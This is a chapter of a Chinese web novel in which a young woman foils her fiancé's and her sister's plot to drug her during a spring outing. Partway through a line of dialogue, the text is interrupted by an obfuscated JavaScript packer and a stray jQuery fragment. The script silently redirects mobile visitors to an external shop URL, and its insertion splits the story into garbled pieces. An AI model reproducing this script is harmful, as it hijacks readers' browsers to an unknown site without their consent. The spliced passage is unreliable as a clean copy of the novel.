文趣网 > 都市小说 > 不要在垃圾桶里捡未婚夫 > 17. 第 17 章
    听见“芦苇”两个字,温始华的心先凉了半截。

    又听卫肃宁接话:“确实好看。阿鸣若是喜欢,不如叫夭夭去折几枝来,虽不是名贵花材,却有几分野意。”

    卫肃宁讲的随意,仿佛只是随口一提。

    温鸣庚见温始华并不搭腔,开始以退为进:“算了,夭夭怕是也不愿意为我跑腿。”

    “夭夭才不会这么小气,”卫肃宁与她一唱一和,“替阿姐跑腿也是应当。再说了,上巳出游本就是踏青,出来了还端坐着,岂不是白出来了?”

    温始华完全不吃压力,拿出刚刚应对赵玮的说辞,“阿姐平日里多有照顾表哥,我是妹妹,你也是弟弟,料想表哥应该不会拒绝为阿姐折芦苇?”

    卫肃宁嘴角的笑意微微一僵。

    他下意识看了温鸣庚一眼,温鸣庚也正看他,两人的目光在半空里飞快地碰了一下便迅速错开。

    温始华看着他们俩的眉眼官司,先前的猜测已有了答案。

    “妹妹插花手艺时常得夫子赞赏,挑选花材的功夫哪里是阿宁这个粗手粗脚能比的?”温鸣庚又开口。

    “姐姐谬赞了。”温始华笑了笑,“要说心细,表哥才是真正细心的。往日姐姐头疼脑热,表哥连汤药都亲自试了温度才端过去。折几枝芦苇算什么?比伺候汤药容易多了。”

    此话一出,卫肃宁和温鸣庚神色皆不自在起来。

    毕竟两人才刚被赵玮贴脸。人家说错了吗?没有。

    自己心里有鬼吗?有的。

    婢女在草地上先铺上一层竹织的席子,再在其上铺就柔软的食单。

    青枝与一众婢女在三人身旁忙活着,将茶点瓜果一一从提盒取出,摆了一席,又将提炉中的炭火点上烹茶。

    伺候卫肃宁的小厮也连忙将他们府上准备的吃食取出。

    日头向上,将春风都照暖,许多曲水边的游人都同她们一般,寻了处阴凉地方歇息。

    见温始华劝不动,温鸣庚给卫肃宁递了个眼神。

    两人没有再纠结折芦苇的事情,转而谈论起今年大考,“前几日听人说起,今年春闱应试的人比往年多了足足三成,许多外地的举子早两个月就进了京,客栈都住满了。”

    卫肃宁拿起面前的橘子剥了起来:“科考三年一遭,也算不得什么稀罕事。不过那些赶考的举子们一窝蜂地涌进来,街上挤得连马车都走不动,倒叫人烦得很。”

    卫肃宁作为卫大将军和春阳大长公主的孙子,在荫官的范围。卫家舅舅并不想让儿子留在京城富贵乡,几次三番想带他去西北历练。

    可卫肃宁对打打杀杀并不感兴趣,他的花拳绣腿放在京城这一众二代里可以说不错,但是上到战场那啥也不是。

    温始华和他刚起来,他都不一定打的过。他曾经见过十二岁的温始华暴揍出言不逊的登徒子,一挑三把对面揍哭了。

    思及此,卫肃宁偷偷打量对面的温始华,又觉得自己前段时日被不知名人士揍了一顿的臀腿隐隐作痛。

    他一直怀疑是温始华下的手,但是温始华又喜欢早睡,又爱赖床。

    那时是深夜,按温始华的作息早就睡熟,并且姑姑那时将她关在风起阁里禁足。

    卫肃宁又推翻了自己的猜测。

    眼见着从家里带来的玫瑰乳酥在炭火上烤的微黄酥脆,卫肃宁忙使碟筷取了下来,亲手递给温始华,“尝尝,你最爱的玫瑰乳酥,昨日王大娘一宿没睡连夜做的。”

    大长公主府上有一道独创甜点是温始华的最爱,以玫瑰花酱与新鲜牛乳作为主料,辅以众多坚果,制成后需先冷藏半个时辰,再取出以炭火慢烤。

    用料精致,工序繁复,温始华也不常吃到。

    此刻那六枚乳酥整整齐齐地码在白瓷碟里,被炭火小炉的热气烘得酥皮微微起翘,香甜的味道四溢。

    “表哥怎么不先给阿姐?”温始华还是头一次能在卫肃宁这排到头名,她转手就把玫瑰乳酥递给温鸣庚,“阿姐先吃。”

    卫肃宁神色一紧,解释道:“从前是我疏忽了,仔细想想,你才是要与我过一辈子的人,我自然要把你更放在心上。”

    温始华似笑非笑,盯得卫肃宁额冒冷汗,“表哥瞎讲什么呢?长姐为先,有好东西自然应该是姐姐先吃。”

    温鸣庚知他心里有鬼,见卫肃宁一反常态,自然也不敢吃那劳什子玫瑰乳酥,将那瓷碟推了回去:“既然是阿宁给未婚妻的心意,我不好沾手的。”

    温始华抵住温鸣庚推过来的碟子,暗暗使力:“我没有什么不能与阿姐分享的,这是表哥对我的心意,也是我对阿姐的心意。”

    两相僵持下,卫肃宁兀自取了一块先吃,“是我的错,不该总是独送一人,大家一起吃,总没问题吧?”

    卫肃宁为博取温始华信任,一狠心一闭眼,一口咕咚就便吞下去半块。

    温鸣庚见他入口,心底对玫瑰乳酥的怀疑也慢慢消失,也拈了块乳酥,“既如此,那阿姐今日便厚颜与你们未婚夫妻共享这美食。”

    温鸣庚刻意举起瓷碟让温始华取玫瑰乳酥,温始华见他们俩都下肚了,卫肃宁甚至已经吃完了一块,才取了乳酥,作样子轻轻碰了碰牙齿。

    而后趁遮挡将手中的乳酥弄碎,分次藏到袖子里,看起来就像是一口口慢慢吃掉了。

    今天她要是能信对面这两人一句话,这颗脑袋她都可以捐出去不用要了。

    几人约在树下歇了一炷香的功夫,温鸣庚越感困顿,频频支手扶额,眼皮子一个劲的往下掉,可还是执着的望向那从青嫩的芦苇荡。

    温鸣庚强撑着精神,软声开口道:“夭夭,你瞧那芦苇多精神多好看。”

    卫肃宁正捧着茶盏拼命喝茶,一杯接一杯,全然不顾自己先前对牛饮茶水的鄙夷,只求冲淡药效。

    好在这行为也是真的有效,他只觉得有点提不起精神,并不十分犯困。

    闻言他放下茶盏,诚恳对着温始华道:“夭夭,你就当成全阿姐一回。你若不肯一个人去,我陪

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17865837|212190||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    你去便是。”

    温始华见他俩的状态都不好,却还是坚持要自己去芦苇荡,心狠至此。

    温始华也想早做了结,她对着卫肃宁笑得温柔:“行啊。”

    又对温鸣庚说道:“阿姐怕是困了,我先扶阿姐去歇息吧。”

    温鸣庚见温始华一口答应去芦苇荡,放心下来,对她要先扶自己去歇息的要求也是一口应下。

    婢女早在一旁只好休憩的帐子,温始华扶温鸣庚进去歇下,出来对卫肃宁说:“我衣裳脏了,不舒服,表哥再等等我。”

    她将刚刚藏玫瑰乳酥的袖子翻给卫肃宁看,上面已是一片油污。

    卫肃宁自然也是无不可的应下,他也不愿同温始华穿一套衣服。

    温始华见他如此简单便应下,离开前还奇怪地看了他两眼。

    卫肃宁不知衣服是今日动手的标记?那他为什么要给自己下药?

    大户人家出门都会带上一套衣服备用,以便衣服弄脏好有替换。

    青枝在另一个帐篷里伺候温始华换衣服的时候还忧心忡忡:“小姐要小心。”

    青枝从来不离温始华左右,自然也知道今日温鸣庚与卫肃宁对她家小姐不安好心,那芦苇荡更是险地。

    但是她家小姐仍然应下要去,就一定有她的道理。

    青枝永远支持自家小姐的一切行为,她在心里暗暗发誓,若是小姐真的遇到危险,那她青枝一定会冲在小姐前面。

    温始华拢了拢衣襟,安慰青枝,也是在安慰自己:“不怕。”

    青枝依温始华的意思,与卫肃宁的小厮远远跟在两人后边,让她们这对未婚夫妻独处。

    温始华随着卫肃宁一路向芦苇荡走去,还有闲心与卫肃宁玩笑:“上次与表哥漫游曲水,好像还是十二岁的时候。”

    卫肃宁已经开始精神萎靡,思维迟钝,想了好久才想起来,“啊对。”

    温始华还在回忆:“当时表哥长得可漂亮了,那几个登徒子经过,将你当成了小娘子,硬是围着你不给走。”

    十三岁的少年长得雌雄莫辨,声音也还未进入变声期,被人围住,气的眼睛都红了。

    然后温始华闪亮出场上演了一出英雄救美,将那几个臭屁小孩揍得哭爹喊娘。

    结果回家就在温母处领取了禁闭大礼包,卫家舅母则送了她一把匕首。

    还同她说:“这是我阿爹送与我的,它陪过我在边疆杀敌护国,现在舅母把它送给我们的小英雄。”

    温始华想到舅母,几乎要落下泪来。

    她这两生都与母亲没有缘分,总是从别人那偷偷蹭蹭到一点可以称之为母爱的情感。

    像个可耻的小偷,扒着窗户缝隙里露出的暖光,觉得那很温暖。

    卫肃宁脑袋里已经一片浆糊,不能思考,只含糊地从嗓子里挤出两声附和。

    温始华看着不远处的芦苇荡,决定再给卫肃宁一次机会:“我看表哥也不太舒服,不然我们回去吧?叫婢女们采回去便是了。”